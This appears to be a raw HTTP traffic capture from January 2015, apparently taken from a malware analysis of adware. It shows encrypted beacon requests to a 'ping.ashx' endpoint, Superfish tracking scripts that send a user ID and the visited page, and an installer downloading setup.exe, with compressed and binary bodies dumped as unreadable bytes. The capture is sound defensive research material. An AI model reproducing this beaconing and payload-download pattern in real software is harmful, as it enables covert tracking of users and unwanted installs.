GET /app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tZ7YhSsSCMsm 6AzHfghR9HM4JIvtQF427XVMSBQRUB7BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0Ni3dmD9op6YwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO8ll5JoXfz7dh8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:23 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/ce1d8a9eu4WvEVgCodG2LeMSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tdtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3Nusz9pYl4sSxjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV H4Sfvw8XWjjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx Au2xYWUtHSsAeXrDcfXn1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:24 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=j7YMo/n29XPJd3Cl8WpRrtI Ab2bIMNX2S2pDyUcChQicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D UcMgmj4Ul bTp5fe1p 748bAtKKDJkZ1xzszKF363rsyHkc2rWtYboXrQFxBbKNh3eWrSQWpmKjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV H4Sfvw8XWjjJZfyEd/PsAAnLtKBEyxZuRl11KuUTCBdGeErCxtDx Au2xYWUtHSsAeXrDcfXn1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:24 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eFCD8T/coidPNjxRBLtb46yHr51bRfAKt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MdUujouRk9pPvEliAfTu1eJWIAQ8Wjpin/USt YsXz/9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0Ni3dmD9op6YwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO8ll5JoXfz7dh8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:25 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAZMV62Gsz5XOTeelYyjulD662ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNW2BlRaPLwu5y8irQgleEZxgKkdlz1lRob0AS4HDB5HfWjwfqp7MHxFtxZKM/jFkcIdKc8W803KkOPofYEioTNmxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoGAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7aIFfpt3acGgZFEYmJBlESaAZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:25 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNmlBVeUjsyYpdN0YCsF2hGT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQ1GbFaIn8fLHscS/rum0dyUP gGlRflyueXXE4oNm6FesaKJdZjPc2 CsHVVmHwIyxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoGAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7aIFfpt3acGgZFEYmJBlESaAZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:26 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=wlkQ3WKgYpQDjreoyS/T29I Ab2bIMNXFpyt/lxOUiEicvsFwQStENB87jgWTbK//EmjUQkbJhEL2UeWguV4D UcMgmj4Ul bTp5fe1p 748bAtKKDJkZyTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvVPHbLV9CfBu9qbCRwRBKA7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBgJ5WzhfrS/BOWVuT8tS7j2qAmByJT9TaRESNVjjSE 2iBX6bd2nBoGRRGJiQZREmgGUqUYly4OA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:26 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:33:26 GMT..Content-Length: 0......

GET /app/ping.ashx?e=1ZEnpGuz/IQqQvvNc0/QxO1d8a9eu4WvDg7jkQr72VISZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EnxEICoITTvdJ/43TAbs8Fe4ZvM W8i8tTNan7HLQ0t8a50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfUpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovRrYa3YSr9L/8ARBybhVDyBjhKIPjTcuiw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:27 GMT

Content-Length: 0

....

GET /ws/sf_code.jsp?dlsource=viktczu&userid=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&partnername=pelmmbomol&CTID=xUSiF17wJSsmtycl&ver=2015.1.5.0.55 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:44 GMT

Content-Type: text/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=65E769058537662F0AB30A41861950B2; Path=/ws

Expires: Fri, 06 Feb 2015 09:34:44 GMT

Cache-Control: max-age=2592000

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
600a................#G....4.w.N.1.....ka'.j.]s.&oW.)...... .K...2.....
..w42...hd.F2.I.T......B..q.@...,6.l...].X<|9~..~....[y...;?}....&g
t;........a.^...A.........W..,.$.p<.....g...,....n....w.\^^.g.Q<
n'Yw....\fw.>  Z.>..o....n,7..q...V.c.U.b_._D75..F....pX.d...[a.
..,......J.l..Q..un............m}..f_$Y.......@h..xX~....Z.`>.6...Y
:..bF{..]...=d...2Y....Q.......~.4........@...ay......o.....i..e...n. 
.V.r|........o..-..`...{....7..[v..."....i....$.u.gw.I3............W..
?.$... L.......|k......F.e..|#".R...u.r..0.....q..o..ZL.n .O...~...'.^
<]...}Gv..&Jqy.<z.rs....1.J....F.,..<..OQ.J..~j..!t..w?...n.~
..... .[.M.s..c.e...7..lk...........w.aTyv..U.x.C....~..7....0..<..
..j.]..................0J....N..X.8.I..I/..an.7.......N....n....Q..0.?
..A.%.....=i....yn..'.`.&.....(.h=....'y....A;.g.n.N..?Dq;......p.[a..
.....b$w?.H.....?.@sr..W....Z.8.v..I..0.<.`....v......M.;.@9......I
...gwO....=......K....4.654..3O...,O....@.y.....7...O..-...._.....p]..
.......>b.Y.~.J:.O.._..J.\^G"..`.........lZ:...,-._y........3.k..b.
X..N..?9;;<....h..`.~..^.......F&z.K.......R.U.zxz..........l"g..X.
.......n.l..X~].`...~0.;}.8..`....D......`.r....;....&.o}.........{^..
>.X....X>..?{.|..........>..?{.|..........>..?{.|.........
.>..?{.|..........>..?{.|.....w.;...........~0............u.....
...3.W...J.....m.....j...(|ZO&.....8?X[..?.......t.....Y.).G....=_nr..
.~....s.A.0.:.Q..(ki.cW.0.,..I.Z.Q..MF..[=Wj..{..?..Q..G.x..4..e....y.
O. .Ky...4.&.....i:.....W......Z.......k..j.f...N..X.I.%...gH:,^.o<<< skipped >>>

GET /ws/slideup2/main.js?ver=2015.1.5.0.55 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:45 GMT

Content-Type: application/x-javascript

Last-Modified: Sat, 03 Jan 2015 08:52:15 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sat, 31 Jan 2015 09:34:45 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
1069.............[[o...~V...qj... )h.(..[.....Z......rV..%.. Yq....3..
...Z.m...%..9.....U9....7....._m\..8 .L.jq...l#/..O..w...EZ.r..7..d...
..L.....eZD..%......p(.....x^.M.....\..?.;.l.......}C..ry}H....V......
*z...x.yS..l..:...{.*0.hi.u.......,5..y.....<...../.....].F]5.i#.9.
...1c4f...Z.Wyc..]..q.1.........^........_...]..:B.i=.v.........._.N(.
.r.......!...R..i8.Fd.........a..r.zv.kq0f.W..2o.^$.D....Z...HD....w..
x...........N.V..rS....s.......{_.x..Y{.....&.I......m.d5./;Z./."m...V
..MV]^..d...s,|......b......#.....t1?.D.R..d...j.A/.....eR....dI..E.'_
..H.....}......j.#.]I...7.=....AO...j......d...E.=.=|^.R.8.J....p.{...
..gx.[.....d.0".C..;.VM9.....FHW..R^.kq..Y...h.E.)/qc.R.d.A......c%...
..k..f%..!..^u#.............g:x..a.s..... ..>........=).U...)......
GT.yE.....IH..I}.........\^.1>.;..ae....kF..\..9".-.....g.[..N0....
...p.`....:..<<'..Lr.......O...M\.3...&.....Y#..........Ib.S&.)h
.<&..G.2bW..K..q.....x7..-...W..T.......%LR#?...%.A.D.&8O..]...Y.je
.4........}~cp...Fy.-B.#.7............Z....r.Q.on.$&.....VM..i.d.G.&Ck
...;En.E...deY5_-Q_$......."..j..\;.S..C......<...ED$.r5`...Eo\...q
^.....l...G".....hG|.Q@G.v1..`..F.l..Y.......".sRg.$..."m.X.S&cL.[Y.H.
.Ul.<....i....6.0[d......7Mu..#..K.|....#h.:...U...b(..........  .S
.e0|...2x. .k..$..*.JQ...i.....q.;k].m.`.......L.EU5q.x...\..R.IZ.`L.d
.U)R.>.E!.7..|..o:s.t.....AMK.J.S...5..N<DLq......P..kc].*..,.. 
.......e^..8.J0..X.h]..MK.Nn...j......K8....s).....*{.dGq..)`.0..~...&
gt;.f...Q.a.Z.![k......[..$.../..&%.D..k..sn.QLV]5........8..(....<<< skipped >>>

GET /ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:53 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Thu, 07 May 2015 09:34:53 GMT

Cache-Control: max-age=10368000

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
600a..............Ys#G...W..p.......=.K..9.......)....@.C@............
...q.M*.*.k....=..?......e.Z..r.......`^.g.._.N.E./.?.......i.n..t....
?}.....>}.....i]...&[_.......4.6i>....a.....t.}... .q.#...Y9....
M....=...?~.<..t.....;....x...Y..GY....[.....0.A:...r..H...X...o..2
{,..O`?".4H....r....f..r.....!.... .\..).F|.w~..,...y......u.i9.x..@..
4/G.Sv.o.=.n^&'`4.b9.N..8].X...K..M..'......r]../.=`..E9.%.8.O...6Z...
.e.......y.Z..z.z..l.Hj.....3P..^......'.%gO..u.Y......M.7.........!..
.4..6..(..l..J..............~...AYl..zZ.\..x.D.".}...zS..K.!N...s.uI.N
.....5L.U...*y..... ....b......l........Z'}=*....bd[]C..,.k?..\...M...
........l.)..<..V....X..Tf..|....mY=..........1.%;.....oPi..0.-.$..
=>..X..o/...@..n.d..X.C.&8. .Xd/..b.....P..0.X...i....K...._..CJN..
........|5..p.3{DMp.............p.A...j8[.\.....n.k.b..t.J...o....H..M
....j......._=..=T .C..jTLf.r..}{......1.M6[o.s^?.=...N=.k..=.<.p.V
.b.;W...s..3...........E....=.;J.G..p.1...l...q.n.!.$`..l..:u>.W..;
...y...Q...kL....v....^...2{..x.....GjV......2.n=.f..7...:...ug.U.9...
...g.3.urW.5.t...<d........  ;(H.....;.F.....,.KH.j..Y.2*..<._)Y
...TVe^..f....G^...ONw..*...f:.|../...W..6.'<LOl...x..I.S..e.......
I.B.:..Q..3..v...<.F..}5...x...H..U....X.D-E...C.t..C1..\J5^....t.&
lt;....'.h......$.s....h..x...(/.r..v#.n.bS.S.S.[...y>.n.e......`..
..U.......Jt.l...q....`O...x.M......W....@......3...!...6@..qZa.9n.~..
.Q....T.>oP...=.2m..g..j.='....k..87589.hL.......i....X.c..X.u....m
...P....(]....*......f......*.Q-<....B.k.....t.<.r..J./...Z.<<< skipped >>>

GET /ws/retargeting/main.js?ver=2015.1.5.0.55 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:56 GMT

Content-Type: application/x-javascript

Last-Modified: Sat, 03 Jan 2015 08:52:16 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sat, 31 Jan 2015 09:34:56 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
685.............W[S.6.~....T.....v.........e..}`(..r..b..L6-..~G...,L/
........|.;G./..I..........ef"..&..n..s..`k...6u...5......O.,....-.W..
....6[....fb.U.R....e...#.....g.7....J]..a.>=.;~d%............4*a..
%cI...I.}.rx..6.. (.I..8d.a..hs...o.B...D...$.........`N3;.sfb......m.
W....lx...D.oF..az.n.T7.be...,=....2....>:q....K.......A...PV7&GP..
./>...i.....c.||r{|yz.......S...@.sx.ku6.WF.3...R..F.am&L>.*..#.
M...3..'g...\.j......%.*:.....ayl.....b.Z..}k.R......%.{E2..........n*
g.P.H..FP.M......Ce.....n!...r.....wn .........l.P2P....](.wa......^.t
.....~..R....YR...Q0.W.......Z[..R...V8...e...{.l*.d..I........?..j..9
...<f}.5T..- ..(.x..P.....Th...zVK%~j.Y\8.=I....t...Uyf.Ka...GdA...
.e.....M.Z..f&*...X..DU.O......).-..ns$.........xM.h.....g..<S..3^.
i.6Cy|...~...Y.,.MVS.3..[.a'...i>.>.a..........^[>.@.....R...
..)7..v..Ao.|..|E,O...s.H...q'...yc...tbf...)q.S..R.j.9.W.3..r.._.....
.J.....w.....E...GF#.fu.....6w..dxk.v...T..4.9..D.R.]J.....B...?......
.._"...6G......}..h..c7...B_j..G..cgcT;..>.d..4.d.k......8...[cHI.|
m....D5qSj..~.>urNrN..b">Ar.k... ..eU.{m&..}w..tkt.v.|{....]|bxJ
.aG..'!..g...O..(......[.r..r@.h....EVX....U.....Y.,}..'...I......V.AY
..Tf.....O....=.-......'CV!.p.".......0.5.p...._.E..g..a.=,.| S...j..,
.G...<=.m.xF.F9...m^.6,.(.LV,J.Y.@./|...y...Z.. ....(6.:y...W.n}H.Y
T..)...zk].A..k. ..h...?...Fm.....1)A.s.......k..5.W.....Ye.;..X ...m.
.:w..3m...]f>.3L._-.../../...g.9`..&.).kt.....E...Q......r..)..vx..
H{.........X.k...!E0^..jI...U...(.{./~.lg....Z......Zg@X...I.@q.%n<<< skipped >>>

GET /ws/retargeting/server_layer.html?dlsource=viktczu&userid=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&CD_CTID=xUSiF17wJSsmtycl&version=2015.1.5.0.55&pageUrl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://VVV.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=531&tier1_next_group=177&tier1_prev_group=685&tier2_bucket=2014w47_offer_cut_end&tier2_curr_group=212&tier2_next_group=386&tier2_prev_group=526 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:34:57 GMT

Content-Type: text/html

Last-Modified: Sat, 03 Jan 2015 08:52:16 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Sat, 31 Jan 2015 09:34:57 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
f8a.............\Ys.F.~OU............Hv.r.m.H .UI.Z...E. ..@.\..}....`
. .ck.V."......=..?xvrx...O...%.?.l..dA.......J..3V..-.....e.<aN..;
V8I.`..H...39...8..j.... ..8..8KG...@<...b4.s.....9...`;..Qo..4i^$.
A...=...a.Y....<|..=.u[..* Xt.."...0 "...j.J..........0K.*H .A.....
50.L..x...........}......7....:..=..E...m.....f...Y.......4..... .I...
..NY..0....d..3..!1..4..(O..'.w..Qv..Q...K..qY.....4...nw...f.,.[.5t.i
\.a.....Y.e.....V...`.L..d...X....[.C.. 0.. ..]n...X...].2O{....&)...d
[...(..R.s..@;.n..~.....{}]..8.......R.......!;....p..~~.._V..F<Yxr
w....mS...%..h....pr......$.7.V.....B...I.=-.{X../f!%.T.,.@.v..%{....d
.P.%7N~9..........|.K[....\.U.....7....._bNk.nc..Zw@./.[..i.....iM.~..
.E!s.........t.....Q#9...%..6...Q.f..r...|....p3.e.$|M'..W. .BZs..<
...;.)5...... ..3h...@>`....:...jJZP....V...:wA......G._.Y>..^kh
.hK...:...20...G...-...b....A...0lNQ........ .VB.j..:...j.G......>|
v}xq...g....K...7............rL..T.{y....j...v.MX..&..k..U....6....=..
!...*D,~T=....w.q..... ..n...'..........e..[...5...G.8 ...&a..v.SN...Q
..$M......Al....-....;...KVi...h.0.J.Q...f..U4..4Haq.9.aJ.2.f0g^......
._:..[..>Jy..5.-cI3..8}0Z..:....A...<2....-..).....B.{.{V..Dm}.H
A..=.o...nd~.....7..Y.AO.......)Lr`.....'...m.K..c.......Z...O...;..F.
5..,CX..Ab......w.Y.>.i....5..7..........p......q...fwPWAY.}.....{.
.{.......d...h....-....B..8c..k.}.Un...^c...q.'.z.X?Z...~3..8...o>2
&.....lJ.oW.a....=..-.e.6l6I.D..J_..Kd..............8.%._97.....l>s
e.Q.&.........z..4.T..~.bz.T...O.r.:J......f.fT.....h.l.".h...Dt..<<< skipped >>>

GET //images/Tokyo/tokyo_default_logo.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3921

Connection: keep-alive

Server: nginx

Date: Wed, 07 Jan 2015 06:37:22 GMT

Last-Modified: Mon, 05 Jan 2015 13:19:36 GMT

ETag: "54aa8f68-f51"

Expires: Wed, 07 Jan 2015 06:47:22 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 387

X-Cache: Hit from cloudfront

Via: 1.1 b274d1d9cbf8e572c32879f40e27c373.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _8Xhd-sgKZRRkDdYAMSIY8rYs1Y_p07_t2ATwAjRJwbBU67MpSungA==
.PNG........IHDR...0...0.....W.......sRGB.........bKGD..............pH
Ys.................tIME...../.fCI.....iTXtComment.....Created with GIM
Pd.e.....IDATh..Y{p\.}...w...}K Y..e.......[.6I.a.k.v2..f4N:.p..7&R3..
d\21i......I..0....&...T`..e....%.d.....]...{......a..-&g.7g_........!
..%{..u....9..|...B.\...o.l.............J....z.Q..Y.(J.RZ....h...{....
..s.)..=...Z..DKoooK___.cl........?..b.f...VD".....J...UU5.p8*.E......
....nEQ.PJA..... . ..z.`..-{.....RZI...R..94-c&.c.W_}.......u........7
...........e.Z.3..\WW...{....#I.....t*..G..w..(/.xp...... >........
z...>..D......u....;;;.p-...oFF..;....r.8......`...I.....1......g..
BL...$..?........4;..|..^^.l...1...t:.U.V]...s.r9455.6m..r8.3....={...
..k....9xgg......).`.!;..i..$..>....i....x2.d2.Db.....t..p.eLNBQ..B
!D"...aH..].q....m....F.........KJJ..c.x<..b.......R..2..2..T:....4
.p..L..a.$oZ.JH...b_....war........'O.<|]1v.:p.......~....X,..9.N'(
.`....L..i.0..a.f]...C(.B...n...G.?.@ .@(..a.8q......?x..g.y....O.V.\.
M..8...........y!..c.u.&3.p8.....z...........*.$...Ji.^.B..].}.......=
.....z...y!..C4....... .....d`...E.CQ..x,.z..*..l..A.....  ...!..`..u[
..`..O?........L/4..rD.Q...Au.....L2.._q. a..1..B.d011.......oR.TKOww[
2........BC.._.`.....r..(..y.v]..V`2...i.d2.O...E.4.........#...<..
c.$.Is...m^3...j.v.QRR.S...e.zp.h..-...iH..H.SH...u..R..............R.
.....H$.d2)...|....8d.......x..7.N...H..$Ip8.p8.PU.EEEp..V..*<^/.v.
..n.\...ntvv..@`..X.t&.B(.~?"..R..(.p8......j..........PU........8 .2$
;#YAL.$It...!r.1p....P8.ND"..@6......6.*....RJ!Q..I..8AO...Q.t.z..<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=203904-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1427328

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 203904-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 2c9a8baf70886f8c73eeac316fa1511b.cloudfront.net (CloudFront)

X-Amz-Cf-Id: j7FGsDWYSbFNeYJ4k3uYvDqq46VtkX5EDdwj6a88DrMu7BVQBG0cQA==
$,R....D$0..H..D$4.....D$<..D$@.....D$DpSH.f.D$H.D$L.....D$P.....D$
T....h.EH..D$$j.P..$................~..t>.N h..H..G....~..t .F ..@t
..H...3...$.......$.....C.$.....f ...D$ .RH..L$ ..$............$......
D$L..t..t$PP.c!...t$L..'.......$.......$.....C.$....hD.H.P.D$$P..3....
..|$..u.h..H....Z.....$.....r...$.....1'.......$.......$..........$...
.......$.....r...$......&.........$....d......Y_^[..$....3...&....]...
..U.....3.W.U..\.H.f9.\.H.......SV...f..t.f.. w...G....f..u.f.?...t...
... v...|t... t....f.>.u.f.>.t.3.f......t^H..E..8...t........3W.
...G...t.....;.u..U.f.>...u.^[.._..]. ].......w...x^H..U.....U.....
.........U....,SVWh....j@......G..u.V.E..E......E.........G..E.PV.E...
....(.G.....#]..]......j.j....E.Pj.j.j.j.W..$.G.j.j.Vh.>H..E.P.. .G
..E.P.u..E.Pj..E......].....G.j..u.j.j.j.j.W....G..E..5t.G...t.P...E..
.t.P..S...u..._^[..]......U..QSVWh....j@......G..=..I...E....I.t..=..G
..I..6h..H.....t;....>.u....3.f...4...I..5..G.S...u.S...u.....G._^.
....[..].....I...................U..Q....J.V.5..J.3.f9.t#.............
.@.f.<F...Fu.....^..]....^..]..............U..Q....J.V.5..J.3.....t
...$....f...f..B.L0..@...u.3.f..B^..]...U......E.Pj..E.........G.P....
